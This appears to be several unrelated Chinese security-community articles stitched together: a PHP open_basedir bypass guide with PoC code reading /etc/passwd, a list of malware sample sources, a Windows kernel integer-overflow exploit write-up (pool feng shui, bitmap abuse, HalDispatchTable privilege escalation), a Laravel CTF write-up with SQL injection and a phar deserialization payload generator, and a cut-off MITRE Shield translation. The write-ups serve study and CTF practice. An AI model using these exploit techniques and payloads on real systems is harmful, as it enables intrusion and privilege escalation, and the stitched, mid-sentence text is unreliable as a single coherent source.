：由于PHP在设计的时候（可以通过源码来进行分析），对于glob伪协议的实现过程中不检测open_basedir，以及safe_mode也是不会检测的，由此可利用glob://
罗列文件名
（也就是说在可读权限下，可以得到文件名，但无法读取文件内容；也就是单纯的罗列目录，能用来绕过open_basedir）
单用 glob:// 是没有办法绕过的，要结合其它函数来实现
##### DirectoryIterator+glob://
DirectoryIterator
是php5中增加的一个类，为用户提供一个简单的查看目录的接口，结合这两个方式，我们就可以在php5.3以后版本对目录进行列举。
<?php
highlight_file(__FILE__);
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$a = $_GET['a'];
$b = new DirectoryIterator($a);
foreach($b as $c){
echo($c->__toString().'<br>');
}
?>
即可列出根目录下的文件，但问题是，只能列举出根目录和`open_basedir`指定目录下文件，其他目录不可。
##### opendir()+readdir()+glob://
opendir() 函数为打开目录句柄，readdir() 函数为从目录句柄中读取条目。结合两个函数即可列举根目录中的文件：
<?php
highlight_file(__FILE__);
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>
同样，只能列举出根目录和`open_basedir`指定目录下文件，其他目录不可。
### 姿势最骚的——利用ini_set()绕过
#### ini_set()
ini_set()用来设置php.ini的值，在函数执行的时候生效，脚本结束后，设置失效。无需打开php.ini文件，就能修改配置。函数用法如下:
ini_set ( string $varname , string $newvalue ) : string
#### POC
<?php
highlight_file(__FILE__);
mkdir('Andy'); //创建目录
chdir('Andy'); //切换目录
ini_set('open_basedir','..'); //把open_basedir切换到上层目录
chdir('..'); //切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/'); //设置open_basedir为根目录
echo file_get_contents('/etc/passwd'); //读取/etc/passwd
从php底层去研究ini_set属于web-pwn的范畴了，这一块我真的不太会，所以去请教了一位二进制的师傅，指导了一下入手点。
if (php_check_open_basedir_ex(ptr, 0) != 0) {
/* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */
efree(pathbuf);
return FAILURE;
}
`php_check_open_basedir_ex()`如果想要利用ini_set覆盖之前的open_basedir，那么必须通过该校验。
那我们跟进此函数
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}
#define PATH_MAX 1024 /* max bytes in pathname */
该函数会判断路径名称是否过长，在官方设定中给定范围是小于1024。
此外，另一个检测函数`php_check_specific_open_basedir()`，同样我们继续跟进
if (strcmp(basedir, ".") || !VCWD_GETCWD(local_open_basedir, MAXPATHLEN)) {
/* Else use the unmodified path */
strlcpy(local_open_basedir, basedir, sizeof(local_open_basedir));
}
path_len = strlen(path);
if (path_len > (MAXPATHLEN - 1)) {
/* empty and too long paths are invalid */
return -1;
}
比对目录，并给`local_open_basedir`进行赋值，并检查目录名的长度是否合法，接下来，利用`expand_filepath()`将传入的path，以绝对路径的格式保存在`resolved_name`，将`local_open_basedir`的值存放于`resolved_basedir`，然后二者进行比较。
if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0)
{
if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {return -1;}
else {
/* File is in the right directory */
return 0;
}
}
else {
/* /openbasedir/ and /openbasedir are the same directory */
if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR)
{
if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0)
{
if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0)
{
return 0;
}
}
return -1;
}
}
进行比较的两个值均是由`expand_filepath`函数生成的，因此要实现bypass
`php_check_open_basedir_ex`，关键就是bypass `expand_filepath`
还是一样，跟进`expand_filepath`函数
根据师傅所说，在我们跟进到virtual_file_ex得到关键语句：
if (!IS_ABSOLUTE_PATH(path, path_length)) {
if (state->cwd_length == 0) {
/* 保存 relative path */
start = 0;
memcpy(resolved_path , path, path_length + 1);
} else {
int state_cwd_length = state->cwd_length;
state->cwd_length = path_length;
memcpy(state->cwd, resolved_path, state->cwd_length+1);
是目录拼接操作，如果path不是绝对路径，同时`state->cwd_length ==
0`长度为0，那么会将path作为绝对路径，储存在`resolved_path`。否则将会在`state->cwd`后拼接，那么重点就在于`path_length`
path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);
/*tsrm_realpath_r():删除双反斜线 . .. 和前一个目录*/
总的来说，`expand_filepath()`在保存相对路径和绝对路径的时候，而`open_basedir()`如果为相对路径的话，是会实时变化的，这就是问题所在。在POC中每次目录操作都会进行一次open_basedir的比对，即`php_check_open_basedir_ex`。由于相对路径的问题，每次open_basedir的目录全都会上跳。
比如初始设定`open_basedir`为/a/b/c/d，第一次chdir后变为/a/b/c，第二次chdir后变为/a/b，第三次chdir后变为/a，第四次chdir后变为/，那么这时候再进行`ini_set`，调整open_basedir为`/`即可通过`php_check_open_basedir_ex`的校验，成功覆盖，导致我们可以bypass
open_basedir。
## 总结
其实我感觉如果直接能RCE，那肯定最好；然后相比之下最后一种姿势最骚；暴力破解应该是最繁琐的，不过也不失为一种方法的ma。 | 社区文章 |
中午吃饭的时候，群里有人问，分析报告中的样本都是哪儿找来的？小弟不材，之前做过几年的Malware
Analysis，也做过样本库运营工作，中午利用午休的时候，结合自己的一点经验，简单给大家谈谈样本可以从哪些渠道得来？有不足之处，请大牛们多多指教！
如果你身在安全公司，有客户端类的安全产品，可以从下几个渠道获取：
(1)客户端收集到的样本TOP库，从黑灰库中找可疑样本进行分析，说不定就可以找到惊喜
(2)用户反馈的一些样本，或你帮用户解决安全问题自己从用户电脑上收集回来的样本
(3)有些公司会有一些安全论坛，用户也会上传一些样本到论坛上，定期去查看分析
(4)如果公司有VT帐号，可以从VT上去下载相关的样本
(5)可以从内部的一些监控系统爬虫系统中找到新的样本或变种样本
如果你不在安全公司工作，可以从以下几个渠道获取：
(1)国外安全网站，如：
<http://contagiodump.blogspot.com>
<https://mmd.sougaoqing.com/mmd/index.htm>
(2)Github上去搜malware，会找到很多彩蛋， 如：<https://github.com/rshipp/awesome-malware-analysis> （你可以找到很多想要的）
(3)加入Google Malware邮件组，里面会有人分享样本，如：[email protected]
(你还可以搜到很多邮件组）
(4)多关注一些国外相关的一些Twitter，会不订期有一些样本分享，如：@malwrhunterteam
(5)定期关注一些国外大的安全公司的博客，如：
<http://researchcenter.paloaltonetworks.com>
<https://www.fireeye.com/blog.html>
<http://www.symantec.com/connect/blogs>
<https://blog.kaspersky.com>
<http://cybersecurityminute.com/security-blogs/source/Trend+Micro+Blog/>
这上面会定期更新一些恶意样本的分析报告，有时候会放样本，没有样本可以通过HASH自己Google去找
(6)国内一些安全论坛以及安全媒体，也会有很多人上传一些样本，如看雪，卡饭，吾爱，FreeBuf等
(7)国内一些安全公司的论坛，不知道还有几个在持续运营了。。。。如：360杀毒论坛，金山杀毒论坛，电脑管家论坛，瑞星杀毒论坛等
(8)如果你有钱任性，完全可以自己去买个VT帐号，里面的样本你这辈子都分析不完
以上都是个人经验，以及一些”套路“，相关的渠道和安全论坛网站还有很多，大家要善于发现总结吧，也欢迎大家回复自己的样本获取渠道，多多交流 | 社区文章 |
**作者:[wjllz](https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-3/ "wjllz")
来源：[先知安全技术社区](https://xz.aliyun.com/t/3135 "先知安全技术社区") **
## 前言
DDCTF的学习在我[github](https://github.com/redogwu)上面更新完了那个库, 由于我之前做过`整数溢出`的学习,
加上做第二题的时候已经知道这是一个`整数溢出`的漏洞, and windows7的保护措施少的可怜, 所以我当时和师父说, 我觉得蛮简单的样子,
然后师父说, 是么, 那么把你看过的东西全忘了再做一遍. 于是... 对不起, 打扰了.
这篇文章的过程我会把自己的分析思路给贴出来. 离写出利用到写这篇博客已经过了很久了, 在这个过程当中对内核学习也有了新的看法. 现在的我觉得,
分析是最难的部分. 所以这篇文章会冗长一点. 希望您不要介意.
这篇文章主要分为一下几个部分
[+] poc分析 --> 定位漏洞点
[+] 内核代码分析 --> 定位可以利用的数据
[+] fengshui: 构造可利用的数据
[+] run shellcode: 进行提权
Let's Go
## POC 分析
### 环境准备
下载的文件打开截图如下:
查阅资料得知`UUENCODE`加密, 改后缀名为`uu`, 之后采用`winrar`解压即可.
### 逆向POC文件
说是逆向. 其实就是一个F5的过程. 如下:
于是我整理了一下源码(循环不方便调试, 所以我把循环去掉了. 之后发现还是可行的):
#include <Windows.h>
#include <iostream>
/*
* triggerVul:
* [+] 触发此漏洞
*/
VOID triggerTheVul()
{
HDC hDc; // edi@1
HDC hdcCall; // esi@1
HICON hIcon; // ebx@1
HBITMAP hBitMap; // eax@1
HBRUSH i; // esi@1
hDc = GetWindowDC(0);
hdcCall = CreateCompatibleDC(hDc);
hIcon = LoadIconW(0, (LPCWSTR)0x7F02);
hBitMap = CreateDiscardableBitmap(hdcCall, 0xDEAD000, 0x1); // 这个地方分配的大小得改为0x18
i = CreatePatternBrush(hBitMap);
__debugbreak();
DrawIconEx(hDc, 0, 0x11223344, hIcon, 0x5566, 0x7788, 0x12345678u, i, 8u);
}
int main()
{
std::cout << "[+] Trigger The vul!!!" << std::endl;
triggerTheVul();
return 0;
}
需要注意的是, 我在源码当中加了一句`__debugbreak()`. 相当于一个断点. 程序运行到此的时候会停下来,
这个语句十分方便内核的exp`编写调试`.
编译运行程序的验证过程如下:
### 记录关键信息
采用`!analyze -v`指令.
#### 崩溃指令
需要注意的是, 由于我们是拥有`vmware`的, 所以可以有效的利用`虚拟机镜像`绕过`KASLR`, 也就是这些指令的地址是固定的.
这样的话我们可以记录一下关键的信息方便调试.
有用的调试断点记录(一开始记录的地址多谢, 这两个是我后面写博客的用到的):
[+] 9803d6aa -- 赋值操作起始的地方
[+] 9803d730 -- 漏洞相关的pool分配的地方
[+] 980651e0 -- 漏洞崩溃处
留意:
[+] eax的值
==> 为F820 0000, 值很大(请留意这个结论)
==> ???? 代表不可访问
==> 向不能访问的地方进行了写操作
[+] 发生在vSrcCopyS1D32当中
##### 崩溃原因
查阅windows的文档:
留意:
[+] 崩溃的原因是由于对非法的内存进行了写操作
#### 崩溃堆栈
堆栈信息的每一项的格式如下
ebp 函数返回地址 第一个参数 第二个参数 ...
由上面的思路我们可以记录如下信息
98065145 win32k!vSrcCopyS1D32+0xa5
9b20f840 win32k!EngCopyBits+0x604
9b20f900 win32k!EngRealizeBrush+0x462
9b20f998 win32k!bGetRealizedBrush+0x70c
9b20f9b0 win32k!pvGetEngRbrush+0x1f
9b20fa14 win32k!EngBitBlt+0x2bf
9b20fa78 win32k!GrePatBltLockedDC+0x22b
9b20fb24 win32k!GrePolyPatBltInternal+0x176
9b20fb60 win32k!GrePolyPatBlt+0x45
9b20fba8 win32k!_DrawIconEx+0x153
9b20fc00 win32k!NtUserDrawIconEx+0xcb
9b20fc00 nt!KiFastCallEntry+0x12a
001af930 ntdll!KiFastSystemCallRet
001af934 USER32!NtUserDrawIconEx+0xc
001af990 USER32!DrawIconEx+0x260
### 推测漏洞类型
### 分析
首先, 在IDA当中获取崩溃指令的位置:
c代码对应如下:
这里我要吹一个叫做`source insight`的阅读源码的工具. 极大的方便了我阅读源码的过程. 此处在windows NT4对应的源码如下:
是不是感觉有点慌, 什么都看不懂了, 这些变量名又是干啥的呢. 没关系的, 我们来整合一下资源.
[+] 变量名猜测这应该是做类似于由jSrc(源)向pulDst(目的地址)的赋值操作.
[+] 由源码可以推出v17类似于pjSrc的长度
[+] 复杂的部分可以通过调试器来验证它.
### 调试器部分的分析
首先, 采用IDA逆向一下关键函数`vSrcCopyS1D32`:
可以得到参数只有一个, 且是一个指针. 接着我们在`vSrcCopyS1D32`函数起始的地方设下断点. 运行到此, 打印出指针的值以及其对应的结构体内容.
运行到崩溃指令处.
我们看下`windows nt`源码里面的各项定义:
可以看到`eax`的值是和`pjDst`联系起来的. 有前面的源码我们推测出`v17`类似于字符串长度. 不如来验证他.
使用`IDA`找到v17对应的汇编指令.
在windbg当中运行到此打印出其值:
由于不小心失误多操作了一次, 所以我们的值多减了一次一, 在后面我把它加回来了. `1bd5a000`就是我们推测的长度.
对应`BLTINFO`结构体成员变量`lDeltaSrc`, 在其中我发现了一句有趣的注释:
所以验证了我的长度推测. 只是它复制的不是字符串. 而是其他的东西.
如果有点绕的话让我们来总结一下目前获得的信息:
[+] pulDst指向目标地址
[+] jSrc指向了目标字符串.
[+] 由jSrc向pulDst运送v17长度的东西A
接下来开始我们的推测之旅.
#### 第一步
如果是我们自己写字符串操作的话. 大概如下:
int len = 20;
char * Dst = memset(len);
for(int i = 0; i < 20; i++) // 注意这里
Dst[i] = Src[i];
什么时候会崩溃呢. 比如:
int len = 20
char * Dst = memset(len);
for(int i = 0; i < 20+0x1000; i++) // 注意这里
Dst[i] = Src[i];
由前面的分析我们知道了他是一个写操作. 所以应该是目的`字符串`(代指)与其`长度`不匹配照成的. 为什么会不匹配. 由于这个地址的字符串长度比较大,
所以我猜测它应该是一个`pool`, 而不是堆栈. 于是我运行了如下命令.
其中需要留意的信息有:
[+] Gebr为其tag.
[+] 0x17ab5000与其复制的length是十分不一致的. 当然也有可能是由于其有特殊的运算规则.
[+] 漏洞相关的pool存在paged session pool
所以在这里我就已经可以开始推测其为整数溢出了. 理由如下
[+] 正常逻辑下size与其实际大小应该是一一对应的.
[+] 此处记录的size远大于其实际大小
[+] 推测:
==> size被记录
==> 某种特殊的规则导致分配实际大小溢出变小
#### 第二步
于是借助于`tag`(tag真的很有用)与前面的逻辑分析. 我定位到了分配此内存的点. 在`EngRealizeBrush`函数当中.
代码的修复你依旧可以参照可爱的`windows nt`的源码来完成. 与`ulSizeTotal`相关的赋值语句在这里.
可能你会比较疑惑的是各个变量的意义是什么, 与前面的思路一样, 我采用了动态调试验证.(定位到函数流, 跟着走一遍, 观察相应变量的值).
给出结论之前先看我们POC代码中的`CreateDiscardableBitmap`函数.
动态调试得到的结论是:
[+] cjsCanpat = (cx * 0x20 >> 3);
[+] v49 = cjScanpat * cy
[+] ulSizeTotal = cjsPanat * cyInput * 0x44
[+] 整理扩展一下pool整体分配的公式:
poolsize = ((cx * 0x20) >> 3) * cy + 0x44 + 0x40 + 0x8(x86下的pool header)
我们原来POC传入的大小是:
hBitMap = CreateDiscardableBitmap(hdcCall, 0xDEAD000, 0x1);
借助于windbg, 让我们来算一下我们的结论是否正确:
我们可以看到和我们前面的`size`(0x17ab5000)完全扯不上关系, 这是由于windbg实现的是无溢出的结果.
需要留意的是我们的`1bd5a出现了`
而另外一个方面我编写了如下的c程序来看看程序的输出.
bingo, 所以错误出现了, 我们看到了溢出的曙光.
这里的溢出一共有三个位置:
[+] cx * 0x20
[+] ((cx * 0x20) >> 3) * cy + 44
[+] poolsize = ((cx * 0x20) >> 3) * cy + 0x44 + 0x40
#### 利用思路
在后面的故事当中, 我查阅了的这篇文章. 获取了利用思路.
查阅了小刀师傅给的一个关键数据.
我们选取的大小为0x10(后面我会解释0x10的分配为什么合适), 漏洞分配的pool整体大小是`0x10+8(header)
验证:
之后的利用思路如下:
[+] 风水布局布置成0xf80(bitmap)+0x18(空闲)地址
[+] 触发漏洞使其填充0x18
[+] 利用后面的代码覆盖相连的bitmapA的一个关键变量扩充其读写能力
[+] 利用bitmapA扩充之后的读写能力去覆盖相连的bitmapB的pvScan0
[+] bitmapB成为manager bitmap
任意选取一个worker bitmap
[+] 由worker bitmap来实现任意读写
听着有点乱? 让我们一步一步的来.
#### pool fengshui
我们最后的布局效果如下
0xfe8(bitmap alloc) + 0x18(free)
首先来解释为什么需要是这个布局(细节可以在这里找到):
[+] fe8大小的内存块会放在页的开头. 释放相连堆块的时候不会进行`pool header`有无被破坏的检测
[+] 0x18会被内核漏洞点分配的pool填充
[+] 漏洞的结构体是paged session pool --> 这个信息对pool fengshui十分有用.
##### 实现.
fengshui布局这里我不会讲的太细, 因为在后面的一篇爬坑指南当中我会去详细的解释fengshui布局的相关爬坑.
首先我们要选取合适的数据. 也就是刚刚可以分配`0xfe8`大小的pool, 以及此分配的pool应该为non page pool.
于是我想到了我在github上面维护的那个项目. 使用CreateBitmap是一个很好的选择.
在调试之后(具体的调试技术在我的另外一篇爬坑文章). 再保持其余参数不变的情况下. 随着width的关系如下:
// size = ((width-100) * 0x2) + 0x360
for (int i = 0; i < 0x1000; i++)
{
hBitmap[i] = CreateBitmap(0x744, 2, 1, 8, NULL);
}
验证:
而另外一个0x18的分配我采用了k0shi师傅的Class进行了分配,
这几天发现了`lpszMenuName`也适合(请期待我的fengshui布局的文章). 代码如下.
最后的结果验证:
##### 当前读写能力.
bitmap对应的在内核当中的结构体如下(来源: 小刀师傅的博客)
typedef struct tagSIZEL {
LONG cx;
LONG cy;
} SIZEL, *PSIZEL;
typedef struct _SURFOBJ {
DHSURF dhsurf; //<[00,04] 04
HSURF hsurf; //<[04,04] 05
DHPDEV dhpdev; //<[08,04] 06
HDEV hdev; //<[0C,04] 07
SIZEL sizlBitmap; //<[10,08] 08 09
ULONG cjBits; //<[18,04] 0A
PVOID pvBits; //<[1C,04] 0B
PVOID pvScan0; //<[20,04] 0C
LONG lDelta; //<[24,04] 0D
ULONG iUniq; //<[28,04] 0E
ULONG iBitmapFormat; //<[2C,04] 0F
USHORT iType; //<[30,02] 10
USHORT fjBitmap; //<[32,02] xx
} SURFOBJ;
微软有两个API函数:
其中`pvBits`参数存放一些字符串. 会放到`pvScan0`指向的地方. 而能够读写的能力是由`SIZEL sizlBitmap`决定的.
其能够读写的`size = cx *cy`. 所以当其中的数据如果原来的`cx = 1, cy = 2`. 原有的读写能力应该是`2 * 2 = 2`.
如果能覆盖其关键变量`cx = f, cy = f`. 现有的读写能力就为`f * f = e1`. 利用扩充的读写能力.
我们就可以对此bitmap相连的另外一个bitmap实现读写. 修改器`pvScan0`的值.
从而实现任意读写(bitmap滥用会在我的另外一篇博客里面).
现在, 让我们来观察一下污染前后的数据对比.
可以看到我们的读写能力发生了天大的变化:
而在IDA对应的污染数据的代码如下:
这里可以看到我们的污染最多只能可控到0x3c处, 这就是我们的size为什么要分配0x10的理由.
##### bitmap滥用获取任意读写权限.
在今天或者明天, 我会更新bitmap滥用的细节性分析(从windows7到windows10). 所以在这里就不再赘述.
我这里讲一些其他的操作. 根据前面的读写能力的改变. 我们能够得到哪一个bitmap被覆盖.
##### fix header
我们可以通过前面的数据对比获取哪些成员变量被破坏了, 依赖于我们的bitmap获取了任意读写. 能够很轻松的实现修复. 其中修复handle那里.
在我上面的截图紫色的部分. 发现其残留了一个handle的备份. 实现了恢复. 也借助于此. 我获取了hmanager的句柄值. 相关的代码如下:
##### 提权.
提权与我的第二篇博客类似, 都是替换`nt!haldispatchtable`的指针.
你可以去看一下我的[第二篇博客](https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-2/)
代码:
## 验证:
## 后记
`DDCTF`困扰我的点主要在分析那里, 我花了较长的时间分析其中怎么控制内核中的数据. 做的不太好的地方是构造数据那里.
实在无法了才借用了小刀师傅的数据.学到了很多的东西. 也改变了我对做内核的一些看法. anyway, 希望这一篇文章能够对你有一点点小小的帮助.
最后, wjllz是人间笨蛋.
## 相关链接:
* sakura师父博客: <http://eternalsakura13.com/>
* 小刀师傅博客: <https://xiaodaozhi.com/>
* 整数溢出利用思路: <https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/>
* 本文exp: <https://github.com/redogwu/cve-study-write/tree/master/cve-2017-0401>
* k0shi师傅的exp: <https://github.com/k0keoyo/DDCTF-KERNEL-PWN550>
* 我的个人博客: <https://redogwu.github.io>
* 我的github地址: <https://github.com/redogwu>
* 第一篇: <https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/>
* 第二篇: <https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-2/>
* * * | 社区文章 |
# 前言
> 环境打包放再 <https://github.com/sco4x0/huwangbei2018_easy_laravel> 上了
其实这个题很想看一下师傅们的其它解法，因为猜到一定会有非预期解。
俊杰师傅带我了解了一下 [phpggc](https://github.com/ambionics/phpggc) 才发现自己还是太弱了 Orz
# writeup
这是一个审计的题，在登录等页面查看源码，可以看到一段注释
<!-- https://github.com/qqqqqqvq/easy_laravel -->
得到代码后就可以开始审计了 (很多人都密我说代码没给全，拿到代码之后就算不了解laravel，看到composer.json也知道应该 `composer
install` 一下呀)
* * *
首先看一下路由，看看有什么操作 `routes/web.php`
Route::get('/', function () { return view('welcome'); });
Auth::routes();
Route::get('/home', 'HomeController@index');
Route::get('/note', 'NoteController@index')->name('note');
Route::get('/upload', 'UploadController@index')->name('upload');
Route::post('/upload', 'UploadController@upload')->name('upload');
Route::get('/flag', 'FlagController@showFlag')->name('flag');
Route::get('/files', 'UploadController@files')->name('files');
Route::post('/check', 'UploadController@check')->name('check');
Route::get('/error', 'HomeController@error')->name('error');
可以看到 `Auth::routes()` ，这个路由是 Laravel 默认提供的一套关于用户系统的脚手架，使用`php artisan
make:auth`即可开箱使用
具体的路由可以在 `Illuminate/Routing/Router.php` 中找到
/**
* Register the typical authentication routes for an application.
*
* @return void
*/
public function auth()
{
// Authentication Routes...
$this->get('login', 'Auth\LoginController@showLoginForm')->name('login');
$this->post('login', 'Auth\LoginController@login');
$this->post('logout', 'Auth\LoginController@logout')->name('logout');
// Registration Routes...
$this->get('register', 'Auth\RegisterController@showRegistrationForm')->name('register');
$this->post('register', 'Auth\RegisterController@register');
// Password Reset Routes...
$this->get('password/reset', 'Auth\ForgotPasswordController@showLinkRequestForm');
$this->post('password/email', 'Auth\ForgotPasswordController@sendResetLinkEmail');
$this->get('password/reset/{token}', 'Auth\ResetPasswordController@showResetForm');
$this->post('password/reset', 'Auth\ResetPasswordController@reset');
}
或者直接在目录下 `php artisan route:list` ，这里也可以很方便的看到有auth, admin 这两个看起来很敏感的中间件名称
几乎所有操作都需要进行登录，而且 `UploadController` 和 `FlagController` 都使用了一个叫做 `admin` 的中间件，在
`app/Http/Middleware/AdminMiddleware.php` 中可以看到代码
public function handle($request, Closure $next)
{
if ($this->auth->user()->email !== '[email protected]') {
return redirect(route('error'));
}
return $next($request);
}
需要当前用户的邮箱为 `[email protected]` ，这时发现使用这个邮箱是注册不上的，因为系统已经内置了这个管理员账号，但是看到
`NoteController.php` 中，存在一个非常明显的SQL注入漏洞
public function index(Note $note)
{
$username = Auth::user()->name;
$notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
return view('note', compact('notes'));
}
但是用户表中的密码是经过 `bcrypt` 处理的，注入出来没办法解开，但是在laravel5.4中，重置密码的操作很有意思
`Illuminate\Auth\Passwords\PasswordBroker.php`
首先是发送重置链接的方法
public function sendResetLink(array $credentials)
{
// First we will check to see if we found a user at the given credentials and
// if we did not we will redirect back to this current URI with a piece of
// "flash" data in the session to indicate to the developers the errors.
$user = $this->getUser($credentials);
if (is_null($user)) {
return static::INVALID_USER;
}
// Once we have the reset token, we are ready to send the message out to this
// user with a link to reset their password. We will then redirect back to
// the current URI having nothing set in the session to indicate errors.
$user->sendPasswordResetNotification(
$this->tokens->create($user)
);
return static::RESET_LINK_SENT;
}
可以看到如果存在这个用户的话，有个生成token的操作，实现在`Illuminate\Auth\Passwords\DatabaseTokenRepository.php`中
public function create(CanResetPasswordContract $user)
{
$email = $user->getEmailForPasswordReset();
$this->deleteExisting($user);
// We will create a new, random token for the user so that we can e-mail them
// a safe link to the password reset form. Then we will insert a record in
// the database so that we can verify the token within the actual reset.
$token = $this->createNewToken();
$this->getTable()->insert($this->getPayload($email, $token));
return $token;
}
public function createNewToken()
{
return hash_hmac('sha256', Str::random(40), $this->hashKey);
}
protected function getPayload($email, $token)
{
return ['email' => $email, 'token' => $token, 'created_at' => new Carbon];
}
这里是直接把生成出来的token写入了数据库中，所以我在开头放了一个注入，本意就是注入出这个token去重置[email protected]的密码，可是好像很多人都被users表里的remember_token误导了，这也是使用
Laravel 5.4的原因，在高于5.4的版本中，重置密码这个 token 会被 bcrypt 再存入，就和用户密码一样
重置密码使用管理员帐号登录后，会发现有 `upload`, `files` 与 `flag` 三个路由，通过查看 `FlagController.php`
可以发现直接就打印flag了
public function showFlag()
{
$flag = file_get_contents('/th1s1s_F14g_2333333');
return view('auth.flag')->with('flag', $flag);
}
但是直接访问会发现页面提示 `no flag`，这里页面内容不一致，在 laravel 中，模板文件是存放在 `resources/views`
中的，然后会被编译放到 `storage/framework/views` 中，而编译后的文件存在过期的判断。
在 `Illuminate/View/Compilers/Compiler.php` 中可以看到
/**
* Determine if the view at the given path is expired.
*
* @param string $path
* @return bool
*/
public function isExpired($path)
{
$compiled = $this->getCompiledPath($path);
// If the compiled file doesn't exist we will indicate that the view is expired
// so that it can be re-compiled. Else, we will verify the last modification
// of the views is less than the modification times of the compiled views.
if (! $this->files->exists($compiled)) {
return true;
}
$lastModified = $this->files->lastModified($path);
return $lastModified >= $this->files->lastModified($compiled);
}
而过期时间是依据文件的最后修改时间来判断的，所以判断服务器上编译后的文件最后修改时间大于原本模板文件，那么怎么去删除(修改)编译后的文件?
再来看看 `UploadController` 的上传
public function upload(UploadRequest $request)
{
$file = $request->file('file');
if (($file && $file->isValid())) {
$allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"];
$ext = $file->getClientOriginalExtension();
if(in_array($ext, $allowed_extensions)){
$file->move($this->path, $file->getClientOriginalName());
Flash::success('上传成功');
return redirect(route('upload'));
}
}
Flash::error('上传失败');
return redirect(route('upload'));
}
这里只能上传后缀为图片的文件，我在 `UploadRequest` 中限制了文件必须为 `image`
，但是这个基本上是个摆设，很好绕过，可以看到文件是被上传到了 `$this->path`，也就是 `storage/app/public`
public function __construct()
{
$this->middleware(['auth', 'admin']);
$this->path = storage_path('app/public');
}
这个目录是没办法直接访问的，那么就算是能成功上传脚本文件也是没办法的，往下看还有两个方法
public function files()
{
$files = array_except(Storage::allFiles('public'), ['0']);
return view('files')->with('files', $files);
}
public function check(Request $request)
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
Flash::error('磁盘文件已删除，刷新文件列表');
}else{
Flash::success('文件有效');
}
}
return redirect(route('files'));
}
`files` 是取出上传目录下的文件并展示， `check` 方法检查文件是否仍存在于磁盘上，这里接收了两个参数 `path` 和 `filename`
，那么就相当于文件路径完全可控，但是这里只经过了 `file_exists` ，貌似没什么用
但是 `file_exists` 中的参数完全可控，所以可以使用 `phar://` 协议来触发一次反序列化操作
浏览一遍程序会发现没有可用的组件，但 `laravel` 里可供寻找的组件实在是太多了
搜索一下 `__destruct`
这里看看
`swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php`
swiftmailer 是一个默认组件，用于邮件功能，跟入这个类看一下
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
public function __construct()
{
$filePath = tempnam(sys_get_temp_dir(), 'FileByteStream');
if ($filePath === false) {
throw new Swift_IoException('Failed to retrieve temporary file name.');
}
parent::__construct($filePath, true);
}
public function getContent()
{
if (($content = file_get_contents($this->getPath())) === false) {
throw new Swift_IoException('Failed to get temporary file content.');
}
return $content;
}
public function __destruct()
{
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
可以发现正是想要的文件删除，这里遇到一个问题，编译后文件的文件名不知道，这里跟入
`Illuminate/View/Compilers/Compiler.php`
/**
* Get the path to the compiled version of a view.
*
* @param string $path
* @return string
*/
public function getCompiledPath($path)
{
return $this->cachePath.'/'.sha1($path).'.php';
}
可以发现其实是基于路径的 sha1 值，但是服务器上的路径在哪儿呢，在使用管理员身份登录后，可以看到一条note
使用了nginx的默认配置，那么flag文件的完整路径就是
`/usr/share/nginx/html/resources/views/auth/flag.blade.php`，经过sha1后得到
34e41df0934a75437873264cd28e2d835bc38772.php
写一个payload生成phar文件
<?php
$filepath = '/usr/share/nginx/html/resources/views/auth/flag.blade.php';
require '/usr/share/nginx/html/vendor/autoload.php';
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$a = serialize($obj);
$a = preg_replace('/\/tmp\/FileByteStream[a-zA-Z0-9]{6}/', sha1(xxx), $a);
$a = str_replace('25', '90', $a);
$b = unserialize($a);
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>
然后上传1.gif，check的时候传入自定义的path和filename，然后访问/flag ，得到flag | 社区文章 |
# 美国网络安全 | MITRE Shield 积极防御知识库
##### 译文声明
本文是翻译文章
原文地址：<https://mp.weixin.qq.com/s/cljI9AFVNEb4YkglzYayDg>
译文仅供参考，具体内容表达以及含义原文为准。
转载： [网络安全观 ](https://mp.weixin.qq.com/s/cljI9AFVNEb4YkglzYayDg)
提到MITRE，安全人员最先想到的可能是引领全球网络安全攻防潮流的对手战术和技术知识库框架ATT&CK。ATT&CK知识库被用作私营部门、政府、网络安全产品和服务社区开发特定威胁模型和方法的基础。而本文要介绍的MITRE
Shield，则是一个MITRE正在开发的积极防御知识库，用于捕获和组织关于积极防御和对手交战的知识，旨在为防御者提供用于对抗网络对手的工具。Shield知识库描述了积极防御、网络欺骗、对手交战行动中的一些基本活动，可用于私营部门、政府、网络安全产品和服务社区的防御性利益。MITRE特别强调了Shield与ATT&CK的联系，认为从ATT&CK到Shield是一个自然而然的过程，认为同时使用ATT&CK和Shield可以帮助防御者有效增强防御能力。MITRE
